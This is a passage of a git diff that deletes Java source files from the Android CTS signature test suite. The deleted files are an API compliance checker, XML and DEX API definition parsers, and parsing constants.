-    private static boolean checkClassImplementsCompliance(JDiffClassDescription classDescription,
-            Class<?> runtimeClass) {
-        Set<String> interFaceSet = new HashSet<>();
-
-        addInterfacesToSetByName(runtimeClass, interFaceSet);
-
-        for (String inter : classDescription.getImplInterfaces()) {
-            if (!interFaceSet.contains(inter)) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    private static void addInterfacesToSetByName(Class<?> runtimeClass, Set<String> interFaceSet) {
-        Class<?>[] interfaces = runtimeClass.getInterfaces();
-        for (Class<?> c : interfaces) {
-            interFaceSet.add(c.getCanonicalName());
-        }
-
-        // Add the interfaces that the super class implements as well just in case the super class
-        // is hidden.
-        Class<?> superClass = runtimeClass.getSuperclass();
-        if (superClass != null) {
-            addInterfacesToSetByName(superClass, interFaceSet);
-        }
-    }
-
-    @Override
-    protected void checkField(JDiffClassDescription classDescription, Class<?> runtimeClass,
-            JDiffClassDescription.JDiffField fieldDescription, Field field) {
-        if (field.getModifiers() != fieldDescription.mModifier) {
-            resultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
-                    fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
-                    "Non-compatible field modifiers found when looking for " +
-                            fieldDescription.toSignatureString());
-        } else if (!checkFieldValueCompliance(fieldDescription, field)) {
-            resultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
-                    fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
-                    "Incorrect field value found when looking for " +
-                            fieldDescription.toSignatureString());
-        } else if (!field.getType().getCanonicalName().equals(fieldDescription.mFieldType)) {
-            // type name does not match, but this might be a generic
-            String genericTypeName = null;
-            Type type = field.getGenericType();
-            if (type != null) {
-                genericTypeName = type instanceof Class ? ((Class) type).getName() :
-                        type.toString().replace('$', '.');
-            }
-            if (genericTypeName == null || !genericTypeName.equals(fieldDescription.mFieldType)) {
-                resultObserver.notifyFailure(
-                        FailureType.MISMATCH_FIELD,
-                        fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
-                        "Non-compatible field type found when looking for " +
-                                fieldDescription.toSignatureString());
-            }
-        }
-    }
-
-    /**
-     * Checks whether the field values are compatible.
-     *
-     * @param apiField The field as defined by the platform API.
-     * @param deviceField The field as defined by the device under test.
-     */
-    private static boolean checkFieldValueCompliance(JDiffClassDescription.JDiffField apiField, Field deviceField) {
-        if ((apiField.mModifier & Modifier.FINAL) == 0 ||
-                (apiField.mModifier & Modifier.STATIC) == 0) {
-            // Only final static fields can have fixed values.
-            return true;
-        }
-        if (apiField.getValueString() == null) {
-            // If we don't define a constant value for it, then it can be anything.
-            return true;
-        }
-        // Some fields may be protected or package-private
-        deviceField.setAccessible(true);
-        try {
-            switch (apiField.mFieldType) {
-                case "byte":
-                    return Objects.equals(apiField.getValueString(),
-                            Byte.toString(deviceField.getByte(null)));
-                case "char":
-                    return Objects.equals(apiField.getValueString(),
-                            Integer.toString(deviceField.getChar(null)));
-                case "short":
-                    return Objects.equals(apiField.getValueString(),
-                            Short.toString(deviceField.getShort(null)));
-                case "int":
-                    return Objects.equals(apiField.getValueString(),
-                            Integer.toString(deviceField.getInt(null)));
-                case "long":
-                    return Objects.equals(apiField.getValueString(),
-                            Long.toString(deviceField.getLong(null)) + "L");
-                case "float":
-                    return Objects.equals(apiField.getValueString(),
-                            canonicalizeFloatingPoint(
-                                    Float.toString(deviceField.getFloat(null)), "f"));
-                case "double":
-                    return Objects.equals(apiField.getValueString(),
-                            canonicalizeFloatingPoint(
-                                    Double.toString(deviceField.getDouble(null)), ""));
-                case "boolean":
-                    return Objects.equals(apiField.getValueString(),
-                            Boolean.toString(deviceField.getBoolean(null)));
-                case "java.lang.String":
-                    String value = apiField.getValueString();
-                    // Remove the quotes the value string is wrapped in
-                    value = unescapeFieldStringValue(value.substring(1, value.length() - 1));
-                    return Objects.equals(value, deviceField.get(null));
-                default:
-                    return true;
-            }
-        } catch (IllegalAccessException e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    /**
-     * Canonicalize the string representation of floating point numbers.
-     *
-     * This needs to be kept in sync with the doclava canonicalization.
-     */
-    private static String canonicalizeFloatingPoint(String val, String suffix) {
-        switch (val) {
-            case "Infinity":
-                return "(1.0" + suffix + "/0.0" + suffix + ")";
-            case "-Infinity":
-                return "(-1.0" + suffix + "/0.0" + suffix + ")";
-            case "NaN":
-                return "(0.0" + suffix + "/0.0" + suffix + ")";
-        }
-
-        if (val.indexOf('E') != -1) {
-            return val + suffix;
-        }
-
-        // 1.0 is the only case where a trailing "0" is allowed.
-        // 1.00 is canonicalized as 1.0.
-        int i = val.length() - 1;
-        int d = val.indexOf('.');
-        while (i >= d + 2 && val.charAt(i) == '0') {
-            val = val.substring(0, i--);
-        }
-        return val + suffix;
-    }
-
-    // This unescapes the string format used by doclava and so needs to be kept in sync with any
-    // changes made to that format.
-    private static String unescapeFieldStringValue(String str) {
-        final int N = str.length();
-
-        // If there's no special encoding strings in the string then just return it.
-        if (str.indexOf('\\') == -1) {
-            return str;
-        }
-
-        final StringBuilder buf = new StringBuilder(str.length());
-        char escaped = 0;
-        final int START = 0;
-        final int CHAR1 = 1;
-        final int CHAR2 = 2;
-        final int CHAR3 = 3;
-        final int CHAR4 = 4;
-        final int ESCAPE = 5;
-        int state = START;
-
-        for (int i = 0; i < N; i++) {
-            final char c = str.charAt(i);
-            switch (state) {
-                case START:
-                    if (c == '\\') {
-                        state = ESCAPE;
-                    } else {
-                        buf.append(c);
-                    }
-                    break;
-                case ESCAPE:
-                    switch (c) {
-                        case '\\':
-                            buf.append('\\');
-                            state = START;
-                            break;
-                        case 't':
-                            buf.append('\t');
-                            state = START;
-                            break;
-                        case 'b':
-                            buf.append('\b');
-                            state = START;
-                            break;
-                        case 'r':
-                            buf.append('\r');
-                            state = START;
-                            break;
-                        case 'n':
-                            buf.append('\n');
-                            state = START;
-                            break;
-                        case 'f':
-                            buf.append('\f');
-                            state = START;
-                            break;
-                        case '\'':
-                            buf.append('\'');
-                            state = START;
-                            break;
-                        case '\"':
-                            buf.append('\"');
-                            state = START;
-                            break;
-                        case 'u':
-                            state = CHAR1;
-                            escaped = 0;
-                            break;
-                    }
-                    break;
-                case CHAR1:
-                case CHAR2:
-                case CHAR3:
-                case CHAR4:
-                    escaped <<= 4;
-                    if (c >= '0' && c <= '9') {
-                        escaped |= c - '0';
-                    } else if (c >= 'a' && c <= 'f') {
-                        escaped |= 10 + (c - 'a');
-                    } else if (c >= 'A' && c <= 'F') {
-                        escaped |= 10 + (c - 'A');
-                    } else {
-                        throw new RuntimeException(
-                                "bad escape sequence: '" + c + "' at pos " + i + " in: \""
-                                        + str + "\"");
-                    }
-                    if (state == CHAR4) {
-                        buf.append(escaped);
-                        state = START;
-                    } else {
-                        state++;
-                    }
-                    break;
-            }
-        }
-        if (state != START) {
-            throw new RuntimeException("unfinished escape sequence: " + str);
-        }
-        return buf.toString();
-    }
-
-    @Override
-    protected void checkConstructor(JDiffClassDescription classDescription, Class<?> runtimeClass,
-            JDiffClassDescription.JDiffConstructor ctorDescription, Constructor<?> ctor) {
-        if (ctor.isVarArgs()) {// some method's parameter are variable args
-            ctorDescription.mModifier |= METHOD_MODIFIER_VAR_ARGS;
-        }
-        if (ctor.getModifiers() != ctorDescription.mModifier) {
-            resultObserver.notifyFailure(
-                    FailureType.MISMATCH_METHOD,
-                    ctorDescription.toReadableString(classDescription.getAbsoluteClassName()),
-                    "Non-compatible method found when looking for " +
-                            ctorDescription.toSignatureString());
-        }
-    }
-
-    @Override
-    protected void checkMethod(JDiffClassDescription classDescription, Class<?> runtimeClass,
-            JDiffClassDescription.JDiffMethod methodDescription, Method method) {
-        if (method.isVarArgs()) {
-            methodDescription.mModifier |= METHOD_MODIFIER_VAR_ARGS;
-        }
-        if (method.isBridge()) {
-            methodDescription.mModifier |= METHOD_MODIFIER_BRIDGE;
-        }
-        if (method.isSynthetic()) {
-            methodDescription.mModifier |= METHOD_MODIFIER_SYNTHETIC;
-        }
-
-        // FIXME: A workaround to fix the final mismatch on enumeration
-        if (runtimeClass.isEnum() && methodDescription.mName.equals("values")) {
-            return;
-        }
-
-        String reason;
-        if ((reason = areMethodsModifiedCompatible(
-                classDescription, methodDescription, method)) != null) {
-            resultObserver.notifyFailure(FailureType.MISMATCH_METHOD,
-                    methodDescription.toReadableString(classDescription.getAbsoluteClassName()),
-                    String.format("Non-compatible method found when looking for %s - because %s",
-                            methodDescription.toSignatureString(), reason));
-        }
-    }
-
-    /**
-     * Checks to ensure that the modifiers value for two methods are compatible.
-     *
-     * Allowable differences are:
-     *   - synchronized is allowed to be removed from an apiMethod
-     *     that has it
-     *   - the native modified is ignored
-     *
-     * @param classDescription a description of a class in an API.
-     * @param apiMethod the method read from the api file.
-     * @param reflectedMethod the method found via reflection.
-     * @return null if the method modifiers are compatible otherwise the reason why not.
-     */
-    private static String areMethodsModifiedCompatible(
-            JDiffClassDescription classDescription,
-            JDiffClassDescription.JDiffMethod apiMethod,
-            Method reflectedMethod) {
-
-        // If the apiMethod isn't synchronized
-        if (((apiMethod.mModifier & Modifier.SYNCHRONIZED) == 0) &&
-                // but the reflected method is
-                ((reflectedMethod.getModifiers() & Modifier.SYNCHRONIZED) != 0)) {
-            // that is a problem
-            return "description is synchronize but class is not";
-        }
-
-        // Mask off NATIVE since it is a don't care.  Also mask off
-        // SYNCHRONIZED since we've already handled that check.
-        int ignoredMods = (Modifier.NATIVE | Modifier.SYNCHRONIZED | Modifier.STRICT);
-        int reflectionModifiers = reflectedMethod.getModifiers() & ~ignoredMods;
-        int apiModifiers = apiMethod.mModifier & ~ignoredMods;
-
-        // We can ignore FINAL for classes
-        if ((classDescription.getModifier() & Modifier.FINAL) != 0) {
-            reflectionModifiers &= ~Modifier.FINAL;
-            apiModifiers &= ~Modifier.FINAL;
-        }
-
-        if (reflectionModifiers == apiModifiers) {
-            return null;
-        } else {
-            return String.format("modifier mismatch - description (%s), method (%s)",
-                    Modifier.toString(apiModifiers), Modifier.toString(reflectionModifiers));
-        }
-    }
-
-    public void addBaseClass(JDiffClassDescription classDescription) {
-        // Keep track of all the base interfaces that may by extended.
-        if (classDescription.getClassType() == JDiffClassDescription.JDiffType.INTERFACE) {
-            try {
-                Class<?> runtimeClass =
-                        ReflectionHelper.findMatchingClass(classDescription, classProvider);
-                interfaceChecker.queueForDeferredCheck(classDescription, runtimeClass);
-            } catch (ClassNotFoundException e) {
-                // Do nothing.
-            }
-        }
-    }
-}
diff --git a/tests/signature/src/android/signature/cts/ApiDocumentParser.java b/tests/signature/src/android/signature/cts/ApiDocumentParser.java
deleted file mode 100644
index 18afa98..0000000
--- a/tests/signature/src/android/signature/cts/ApiDocumentParser.java
+++ /dev/null
@@ -1,226 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts;
-
-import static android.signature.cts.CurrentApi.ATTRIBUTE_NAME;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_TYPE;
-import static android.signature.cts.CurrentApi.TAG_CLASS;
-import static android.signature.cts.CurrentApi.TAG_CONSTRUCTOR;
-import static android.signature.cts.CurrentApi.TAG_EXCEPTION;
-import static android.signature.cts.CurrentApi.TAG_FIELD;
-import static android.signature.cts.CurrentApi.TAG_IMPLEMENTS;
-import static android.signature.cts.CurrentApi.TAG_INTERFACE;
-import static android.signature.cts.CurrentApi.TAG_METHOD;
-import static android.signature.cts.CurrentApi.TAG_PACKAGE;
-import static android.signature.cts.CurrentApi.TAG_PARAM;
-import static android.signature.cts.CurrentApi.TAG_ROOT;
-
-import android.util.Log;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.Set;
-import java.util.Spliterator;
-import java.util.function.Consumer;
-import java.util.stream.Stream;
-import java.util.stream.StreamSupport;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-import org.xmlpull.v1.XmlPullParserFactory;
-
-/**
- * Parses an XML api definition file and constructs and populates an {@link JDiffClassDescription}
- * for every class.
- *
- * <p>The definition file is converted into a {@link Stream} of {@link JDiffClassDescription}.
- */
-public class ApiDocumentParser {
-
-    private static final Set<String> KEY_TAG_SET;
-    static {
-        KEY_TAG_SET = new HashSet<>();
-        Collections.addAll(KEY_TAG_SET,
-                TAG_PACKAGE,
-                TAG_CLASS,
-                TAG_INTERFACE,
-                TAG_IMPLEMENTS,
-                TAG_CONSTRUCTOR,
-                TAG_METHOD,
-                TAG_PARAM,
-                TAG_EXCEPTION,
-                TAG_FIELD);
-    }
-
-    private final String tag;
-
-    private final XmlPullParserFactory factory;
-
-    public ApiDocumentParser(String tag) throws XmlPullParserException {
-        this.tag = tag;
-        factory = XmlPullParserFactory.newInstance();
-    }
-
-    public Stream<JDiffClassDescription> parseAsStream(InputStream inputStream)
-            throws XmlPullParserException, IOException {
-        XmlPullParser parser = factory.newPullParser();
-        parser.setInput(inputStream, null);
-        return StreamSupport.stream(new ClassDescriptionSpliterator(parser), false);
-    }
-
-    private class ClassDescriptionSpliterator implements Spliterator<JDiffClassDescription> {
-
-        private final XmlPullParser parser;
-
-        JDiffClassDescription currentClass = null;
-        String currentPackage = "";
-        JDiffClassDescription.JDiffMethod currentMethod = null;
-
-        ClassDescriptionSpliterator(XmlPullParser parser) throws IOException, XmlPullParserException {
-            this.parser = parser;
-            logd(String.format("Name: %s", parser.getName()));
-            logd(String.format("Text: %s", parser.getText()));
-            logd(String.format("Namespace: %s", parser.getNamespace()));
-            logd(String.format("Line Number: %s", parser.getLineNumber()));
-            logd(String.format("Column Number: %s", parser.getColumnNumber()));
-            logd(String.format("Position Description: %s", parser.getPositionDescription()));
-            beginDocument(parser, TAG_ROOT);
-        }
-
-        @Override
-        public boolean tryAdvance(Consumer<? super JDiffClassDescription> action) {
-            JDiffClassDescription classDescription;
-            try {
-                classDescription = next();
-            } catch (IOException|XmlPullParserException e) {
-                throw new RuntimeException(e);
-            }
-
-            if (classDescription == null) {
-                return false;
-            }
-            action.accept(classDescription);
-            return true;
-        }
-
-        @Override
-        public Spliterator<JDiffClassDescription> trySplit() {
-            return null;
-        }
-
-        @Override
-        public long estimateSize() {
-            return Long.MAX_VALUE;
-        }
-
-        @Override
-        public int characteristics() {
-            return ORDERED | DISTINCT | NONNULL | IMMUTABLE;
-        }
-
-        private void beginDocument(XmlPullParser parser, String firstElementName)
-                throws XmlPullParserException, IOException {
-            int type;
-            do {
-                type = parser.next();
-            } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT);
-
-            if (type != XmlPullParser.START_TAG) {
-                throw new XmlPullParserException("No start tag found");
-            }
-
-            if (!parser.getName().equals(firstElementName)) {
-                throw new XmlPullParserException("Unexpected start tag: found " + parser.getName() +
-                        ", expected " + firstElementName);
-            }
-        }
-
-        private JDiffClassDescription next() throws IOException, XmlPullParserException {
-            int type;
-            while (true) {
-                do {
-                    type = parser.next();
-                } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT
-                        && type != XmlPullParser.END_TAG);
-
-                if (type == XmlPullParser.END_DOCUMENT) {
-                    logd("Reached end of document");
-                    break;
-                }
-
-                String tagname = parser.getName();
-                if (type == XmlPullParser.END_TAG) {
-                    if (TAG_CLASS.equals(tagname) || TAG_INTERFACE.equals(tagname)) {
-                        logd("Reached end of class: " + currentClass);
-                        return currentClass;
-                    } else if (TAG_PACKAGE.equals(tagname)) {
-                        currentPackage = "";
-                    }
-                    continue;
-                }
-
-                if (!KEY_TAG_SET.contains(tagname)) {
-                    continue;
-                }
-
-                if (tagname.equals(TAG_PACKAGE)) {
-                    currentPackage = parser.getAttributeValue(null, ATTRIBUTE_NAME);
-                } else if (tagname.equals(TAG_CLASS)) {
-                    currentClass = CurrentApi.loadClassInfo(
-                            parser, false, currentPackage);
-                } else if (tagname.equals(TAG_INTERFACE)) {
-                    currentClass = CurrentApi.loadClassInfo(
-                            parser, true, currentPackage);
-                } else if (tagname.equals(TAG_IMPLEMENTS)) {
-                    currentClass.addImplInterface(parser.getAttributeValue(null, ATTRIBUTE_NAME));
-                } else if (tagname.equals(TAG_CONSTRUCTOR)) {
-                    JDiffClassDescription.JDiffConstructor constructor =
-                            CurrentApi.loadConstructorInfo(parser, currentClass);
-                    currentClass.addConstructor(constructor);
-                    currentMethod = constructor;
-                } else if (tagname.equals(TAG_METHOD)) {
-                    currentMethod = CurrentApi.loadMethodInfo(currentClass.getClassName(), parser);
-                    currentClass.addMethod(currentMethod);
-                } else if (tagname.equals(TAG_PARAM)) {
-                    currentMethod.addParam(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
-                } else if (tagname.equals(TAG_EXCEPTION)) {
-                    currentMethod.addException(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
-                } else if (tagname.equals(TAG_FIELD)) {
-                    JDiffClassDescription.JDiffField field = CurrentApi.loadFieldInfo(currentClass.getClassName(), parser);
-                    currentClass.addField(field);
-                } else {
-                    throw new RuntimeException(
-                            "unknown tag exception:" + tagname);
-                }
-                if (currentPackage != null) {
-                    logd(String.format("currentPackage: %s", currentPackage));
-                }
-                if (currentClass != null) {
-                    logd(String.format("currentClass: %s", currentClass.toSignatureString()));
-                }
-                if (currentMethod != null) {
-                    logd(String.format("currentMethod: %s", currentMethod.toSignatureString()));
-                }
-            }
-
-            return null;
-        }
-    }
-
-    private void logd(String msg) {
-        Log.d(tag, msg);
-    }
-}
diff --git a/tests/signature/src/android/signature/cts/CurrentApi.java b/tests/signature/src/android/signature/cts/CurrentApi.java
deleted file mode 100644
index 611bcb5..0000000
--- a/tests/signature/src/android/signature/cts/CurrentApi.java
+++ /dev/null
@@ -1,190 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts;
-
-import android.signature.cts.JDiffClassDescription.JDiffConstructor;
-import android.signature.cts.JDiffClassDescription.JDiffField;
-import android.signature.cts.JDiffClassDescription.JDiffMethod;
-
-import java.lang.reflect.Modifier;
-
-import org.xmlpull.v1.XmlPullParser;
-
-/**
- * Helper methods and constants used for parsing the current api file.
- */
-public class CurrentApi {
-
-    private CurrentApi() {}
-
-    public static final String API_FILE_DIRECTORY = "/data/local/tmp/signature-test";
-
-    public static final String CURRENT_API_FILE =
-            API_FILE_DIRECTORY + "/current.api";
-    public static final String SYSTEM_CURRENT_API_FILE =
-            API_FILE_DIRECTORY + "/system-current.api";
-    public static final String SYSTEM_REMOVED_API_FILE =
-            API_FILE_DIRECTORY + "/system-removed.api";
-
-    static final String TAG_ROOT = "api";
-    static final String TAG_PACKAGE = "package";
-    static final String TAG_CLASS = "class";
-    static final String TAG_INTERFACE = "interface";
-    static final String TAG_IMPLEMENTS = "implements";
-    static final String TAG_CONSTRUCTOR = "constructor";
-    static final String TAG_METHOD = "method";
-    static final String TAG_PARAM = "parameter";
-    static final String TAG_EXCEPTION = "exception";
-    static final String TAG_FIELD = "field";
-
-    private static final String MODIFIER_ABSTRACT = "abstract";
-    private static final String MODIFIER_FINAL = "final";
-    private static final String MODIFIER_NATIVE = "native";
-    private static final String MODIFIER_PRIVATE = "private";
-    private static final String MODIFIER_PROTECTED = "protected";
-    private static final String MODIFIER_PUBLIC = "public";
-    private static final String MODIFIER_STATIC = "static";
-    private static final String MODIFIER_SYNCHRONIZED = "synchronized";
-    private static final String MODIFIER_TRANSIENT = "transient";
-    private static final String MODIFIER_VOLATILE = "volatile";
-    private static final String MODIFIER_VISIBILITY = "visibility";
-
-    static final String ATTRIBUTE_NAME = "name";
-    private static final String ATTRIBUTE_VALUE = "value";
-    private static final String ATTRIBUTE_EXTENDS = "extends";
-    static final String ATTRIBUTE_TYPE = "type";
-    private static final String ATTRIBUTE_RETURN = "return";
-
-    /**
-     * Load field information from xml to memory.
-     *
-     * @param className of the class being examined which will be shown in error messages
-     * @param parser The XmlPullParser which carries the xml information.
-     * @return the new field
-     */
-    static JDiffField loadFieldInfo(String className, XmlPullParser parser) {
-        String fieldName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
-        String fieldType = parser.getAttributeValue(null, ATTRIBUTE_TYPE);
-        int modifier = jdiffModifierToReflectionFormat(className, parser);
-        String value = parser.getAttributeValue(null, ATTRIBUTE_VALUE);
-        return new JDiffField(fieldName, fieldType, modifier, value);
-    }
-
-    /**
-     * Load method information from xml to memory.
-     *
-     * @param className of the class being examined which will be shown in error messages
-     * @param parser The XmlPullParser which carries the xml information.
-     * @return the newly loaded method.
-     */
-    static JDiffMethod loadMethodInfo(String className, XmlPullParser parser) {
-        String methodName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
-        String returnType = parser.getAttributeValue(null, ATTRIBUTE_RETURN);
-        int modifier = jdiffModifierToReflectionFormat(className, parser);
-        return new JDiffMethod(methodName, modifier, returnType);
-    }
-
-    /**
-     * Load constructor information from xml to memory.
-     *
-     * @param parser The XmlPullParser which carries the xml information.
-     * @param currentClass the current class being loaded.
-     * @return the new constructor
-     */
-    static JDiffConstructor loadConstructorInfo(
-            XmlPullParser parser, JDiffClassDescription currentClass) {
-        String name = currentClass.getClassName();
-        int modifier = jdiffModifierToReflectionFormat(name, parser);
-        return new JDiffConstructor(name, modifier);
-    }
-
-    /**
-     * Load class or interface information to memory.
-     *
-     * @param parser The XmlPullParser which carries the xml information.
-     * @param isInterface true if the current class is an interface, otherwise is false.
-     * @param pkg the name of the java package this class can be found in.
-     * @return the new class description.
-     */
-    static JDiffClassDescription loadClassInfo(
-            XmlPullParser parser, boolean isInterface, String pkg) {
-        String className = parser.getAttributeValue(null, ATTRIBUTE_NAME);
-        JDiffClassDescription currentClass = new JDiffClassDescription(pkg, className);
-
-        currentClass.setModifier(jdiffModifierToReflectionFormat(className, parser));
-        currentClass.setType(isInterface ? JDiffClassDescription.JDiffType.INTERFACE :
-                             JDiffClassDescription.JDiffType.CLASS);
-        currentClass.setExtendsClass(parser.getAttributeValue(null, ATTRIBUTE_EXTENDS));
-        return currentClass;
-    }
-
-    /**
-     * Convert string modifier to int modifier.
-     *
-     * @param name of the class/method/field being examined which will be shown in error messages
-     * @param key modifier name
-     * @param value modifier value
-     * @return converted modifier value
-     */
-    private static int modifierDescriptionToReflectedType(String name, String key, String value) {
-        if (key.equals(MODIFIER_ABSTRACT)) {
-            return value.equals("true") ? Modifier.ABSTRACT : 0;
-        } else if (key.equals(MODIFIER_FINAL)) {
-            return value.equals("true") ? Modifier.FINAL : 0;
-        } else if (key.equals(MODIFIER_NATIVE)) {
-            return value.equals("true") ? Modifier.NATIVE : 0;
-        } else if (key.equals(MODIFIER_STATIC)) {
-            return value.equals("true") ? Modifier.STATIC : 0;
-        } else if (key.equals(MODIFIER_SYNCHRONIZED)) {
-            return value.equals("true") ? Modifier.SYNCHRONIZED : 0;
-        } else if (key.equals(MODIFIER_TRANSIENT)) {
-            return value.equals("true") ? Modifier.TRANSIENT : 0;
-        } else if (key.equals(MODIFIER_VOLATILE)) {
-            return value.equals("true") ? Modifier.VOLATILE : 0;
-        } else if (key.equals(MODIFIER_VISIBILITY)) {
-            if (value.equals(MODIFIER_PRIVATE)) {
-                throw new RuntimeException("Private visibility found in API spec: " + name);
-            } else if (value.equals(MODIFIER_PROTECTED)) {
-                return Modifier.PROTECTED;
-            } else if (value.equals(MODIFIER_PUBLIC)) {
-                return Modifier.PUBLIC;
-            } else if ("".equals(value)) {
-                // If the visibility is "", it means it has no modifier.
-                // which is package private. We should return 0 for this modifier.
-                return 0;
-            } else {
-                throw new RuntimeException("Unknown modifier found in API spec: " + value);
-            }
-        }
-        return 0;
-    }
-
-    /**
-     * Transfer string modifier to int one.
-     *
-     * @param name of the class/method/field being examined which will be shown in error messages
-     * @param parser XML resource parser
-     * @return converted modifier
-     */
-    private static int jdiffModifierToReflectionFormat(String name, XmlPullParser parser){
-        int modifier = 0;
-        for (int i = 0;i < parser.getAttributeCount();i++) {
-            modifier |= modifierDescriptionToReflectedType(name, parser.getAttributeName(i),
-                    parser.getAttributeValue(i));
-        }
-        return modifier;
-    }
-}
diff --git a/tests/signature/src/android/signature/cts/DexApiDocumentParser.java b/tests/signature/src/android/signature/cts/DexApiDocumentParser.java
deleted file mode 100644
index c199bc0..0000000
--- a/tests/signature/src/android/signature/cts/DexApiDocumentParser.java
+++ /dev/null
@@ -1,144 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts;
-
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.util.Spliterator;
-import java.util.function.Consumer;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Stream;
-import java.util.stream.StreamSupport;
-import java.text.ParseException;
-
-/**
- * Parses an API definition given as a text file with DEX signatures of class
- * members. Constructs a {@link DexApiDocumentParser.DexMember} for every class
- * member.
- *
- * <p>The definition file is converted into a {@link Stream} of
- * {@link DexApiDocumentParser.DexMember}.
- */
-public class DexApiDocumentParser {
-
-    public Stream<DexMember> parseAsStream(InputStream inputStream) {
-        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
-        return StreamSupport.stream(new DexApiSpliterator(reader), false);
-    }
-
-    private static class DexApiSpliterator implements Spliterator<DexMember> {
-        private final BufferedReader mReader;
-        private int mLineNum;
-
-        private static final Pattern REGEX_CLASS = Pattern.compile("^L[^->]*;$");
-        private static final Pattern REGEX_FIELD = Pattern.compile("^(L[^->]*;)->(.*):(.*)$");
-        private static final Pattern REGEX_METHOD =
-                Pattern.compile("^(L[^->]*;)->(.*)(\\(.*\\).*)$");
-
-        DexApiSpliterator(BufferedReader reader) {
-            mReader = reader;
-            mLineNum = 0;
-        }
-
-        @Override
-        public boolean tryAdvance(Consumer<? super DexMember> action) {
-            DexMember nextMember = null;
-            try {
-                nextMember = next();
-            } catch (IOException | ParseException ex) {
-                throw new RuntimeException(ex);
-            }
-            if (nextMember == null) {
-                return false;
-            }
-            action.accept(nextMember);
-            return true;
-        }
-
-        @Override
-        public Spliterator<DexMember> trySplit() {
-            return null;
-        }
-
-        @Override
-        public long estimateSize() {
-            return Long.MAX_VALUE;
-        }
-
-        @Override
-        public int characteristics() {
-            return ORDERED | DISTINCT | NONNULL | IMMUTABLE;
-        }
-
-        /**
-         * Parses lines of DEX signatures from `mReader`. The following three
-         * line formats are supported:
-         * 1) [class descriptor]
-         *      - e.g. Lcom/example/MyClass;
-         *      - these lines are ignored
-         * 2) [class descriptor]->[field name]:[field type]
-         *      - e.g. Lcom/example/MyClass;->myField:I
-         *      - these lines are parsed as field signatures
-         * 3) [class descriptor]->[method name]([method parameter types])[method return type]
-         *      - e.g. Lcom/example/MyClass;->myMethod(Lfoo;Lbar;)J
-         *      - these lines are parsed as method signatures
-         */
-        private DexMember next() throws IOException, ParseException {
-            while (true) {
-                // Read the next line from the input.
-                String line = mReader.readLine();
-                if (line == null) {
-                    // End of stream.
-                    return null;
-                }
-
-                // Increment the line number.
-                mLineNum = mLineNum + 1;
-
-                // Match line against regex patterns.
-                Matcher matchClass = REGEX_CLASS.matcher(line);
-                Matcher matchField = REGEX_FIELD.matcher(line);
-                Matcher matchMethod = REGEX_METHOD.matcher(line);
-
-                // Check that *exactly* one pattern matches.
-                int matchCount = (matchClass.matches() ? 1 : 0) + (matchField.matches() ? 1 : 0) +
-                        (matchMethod.matches() ? 1 : 0);
-                if (matchCount == 0) {
-                    throw new ParseException("Could not parse: \"" + line + "\"", mLineNum);
-                } else if (matchCount > 1) {
-                    throw new ParseException("Ambiguous parse: \"" + line + "\"", mLineNum);
-                }
-
-                // Extract information from the line.
-                if (matchClass.matches()) {
-                    // We ignore lines describing a class because classes are
-                    // not being hidden.
-                } else if (matchField.matches()) {
-                    return new DexField(
-                            matchField.group(1), matchField.group(2), matchField.group(3));
-                } else if (matchMethod.matches()) {
-                    return new DexMethod(
-                            matchMethod.group(1),matchMethod.group(2), matchMethod.group(3));
-                } else {
-                    throw new IllegalStateException();
-                }
-            }
-        }
-    }
-}
diff --git a/tests/signature/src/android/signature/cts/DexField.java b/tests/signature/src/android/signature/cts/DexField.java
deleted file mode 100644
index 57f6196..0000000
--- a/tests/signature/src/android/signature/cts/DexField.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
